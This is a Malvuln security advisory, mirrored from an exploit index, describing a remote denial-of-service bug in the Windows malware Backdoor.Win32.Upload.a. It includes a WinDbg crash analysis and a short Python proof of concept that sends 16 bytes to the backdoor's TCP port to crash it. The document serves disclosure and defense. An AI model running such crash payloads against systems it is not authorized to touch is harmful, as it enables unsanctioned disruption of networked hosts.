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## https://sploitus.com/exploit?id=PACKETSTORM:162746
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/70711c4f594fe97ff6ab17039c133458.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Upload.a  
Vulnerability: Remote Denial of Service   
Description: The malware listens on TCP port 49971, each time it is run the port increments by one 49972 etc. Third-party attackers who can reach the infected host can send a payload of just few bytes to crash the backdoor.  
Type: PE32  
MD5: 70711c4f594fe97ff6ab17039c133458  
Vuln ID: MVID-2021-0224  
Disclosure: 05/23/2021  
  
Memory Dump:  
(1f48.19e8): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000003 edi=00000003  
eip=77aeed3c esp=05d9f5f4 ebp=05d9f784 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
ntdll!ZwWaitForMultipleObjects+0xc:  
77aeed3c c21400 ret 14h  
  
0:002> .ecxr  
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00408694 edi=00404bd0  
eip=00404caa esp=05d9ff34 ebp=05d9ff80 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
*** WARNING: Unable to verify checksum for Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe  
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa:  
00404caa 8a4001 mov al,byte ptr [eax+1] ds:002b:00000001=??  
  
0:002> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
  
FAULTING_IP:   
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa  
00404caa 8a4001 mov al,byte ptr [eax+1]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 00404caa (Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x00004caa)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 00000001  
Attempt to read from address 00000001  
  
PROCESS_NAME: Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 00000001  
  
READ_ADDRESS: 00000001   
  
FOLLOWUP_IP:   
Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa  
00404caa 8a4001 mov al,byte ptr [eax+1]  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 000019e8  
  
BUGCHECK_STR: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ  
  
PRIMARY_PROBLEM_CLASS: NULL_CLASS_PTR_DEREFERENCE  
  
DEFAULT_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE  
  
LAST_CONTROL_TRANSFER: from 776f8654 to 00404caa  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
05d9ff80 776f8654 00000000 776f8630 b72ca01f Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+0x4caa  
05d9ff94 77ae4a77 00000000 514535be 00000000 kernel32!BaseThreadInitThunk+0x24  
05d9ffdc 77ae4a47 ffffffff 77b09ed9 00000000 ntdll!__RtlUserThreadStart+0x2f  
05d9ffec 00000000 00404bd0 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
  
STACK_COMMAND: ~2s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458  
  
IMAGE_NAME: Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 21475346  
  
FAILURE_BUCKET_ID: NULL_CLASS_PTR_DEREFERENCE_c0000005_Backdoor.Win32.Upload.a.70711c4f594fe97ff6ab17039c133458.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Backdoor_Win32_Upload_a_70711c4f594fe97ff6ab17039c133458+4caa  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=49971  
  
def doit():  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
PAYLOAD="A"*16  
s.send(PAYLOAD)  
s.close()  
  
print("Backdoor.Win32.Upload.a / Remote Denial of Service")  
print("MD5: 70711c4f594fe97ff6ab17039c133458")  
print("By Malvuln")  
  
  
if __name__=="__main__":  
doit()  
  
  
  
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